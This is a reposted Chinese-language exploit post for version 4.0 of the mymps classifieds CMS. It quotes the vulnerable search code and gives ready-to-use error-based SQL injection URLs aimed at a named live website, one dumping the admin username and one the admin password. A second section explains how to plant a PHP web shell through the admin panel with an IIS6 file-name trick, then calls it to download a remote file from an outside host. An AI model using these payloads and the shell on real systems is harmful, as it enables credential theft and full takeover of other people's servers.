蚂蚁分类信息系统0days

来源:互联网 发布:淘宝店铺被投诉会怎样 编辑:程序博客网 时间:2024/04/29 10:39

转载:天天向上网http://www.52harry.com/network/2011-12-13/825.html

受影响的厂商:

www.mymps.com.cn

是否通杀:

4.0版本 其他版本为测试

 
漏洞产生:

mayidatainfo_posttime.php代码

<?php

省略.....

$info_posttime = array();

/*信息检索的发布时间下拉框选项*/

//注意单位为天,一周则为7,一个月则为30,以此类推

$info_posttime[0] = '不限';

$info_posttime[3] = '3天内';

$info_posttime[7] = '一周内';

$info_posttime[30] = '一个月以内';

$info_posttime[90] = '三个月以内';

?>

mayisearch.php代码

 
一大推....省略...

$where .= $posttime != '' ? "AND i.begintime >= (".$timestamp."-".$posttime."*3600*24)" : "";

一大推....省略...

$sql = "SELECT i.id,i.html_path,i.begintime,i.title,i.content,i.ismember,i.contact_who,i.begintime,i.catid,c.catname FROM `{$db_mymps}information` AS i LEFT JOIN `{$db_mymps}category` AS c ON i.catid = c.catid WHERE 1 {$where} {$extra_in} ORDER BY i.begintime DESC";

$search['rows_num'] = $rows_num = $db -> getOne("SELECT COUNT(i.id) FROM `{$db_mymps}information` AS i WHERE 1 {$where} {$extra_in}");//没过滤的带入查询了....

 

注入篇:

爆用户
http://www.0517net.com /info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,uname,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444

 
爆密码
http://www.0517net.com/info.php?catid=155&areaid=&posttime=3) and (select 1 from(select count(*),concat((select (select concat(0x7e,0x27,pwd,0x27,0x7e)) from 前缀_admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%20and%20(111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444111111111122222222233333333334444444444

一般前缀是my 完整是my_admin

如果语句不够长自己加,太长去掉...

后台拿shell篇:

登入后台> 栏目设置> 新增栏目

路径存放形式:

自定义目录名

输入:iis60day.php;

栏目内容:
Hey web master,Have a nice day o.O? I hope so! HaHa

<?php

$str=file_get_contents($_GET['url']);

echo file_put_contents($_GET['file'],$str);

?>

 
如图:
然后关键在这里了...

扩展> 生成网站站务> 选择栏目中选择"关于我们" > 开始生成html

点击查看原图

访问

http://www.0517net.com/html/aboutus/iis60day.php;.html?url=http://*.144.*.*/testsec.php&file=4z1.php

如图:

点击查看原图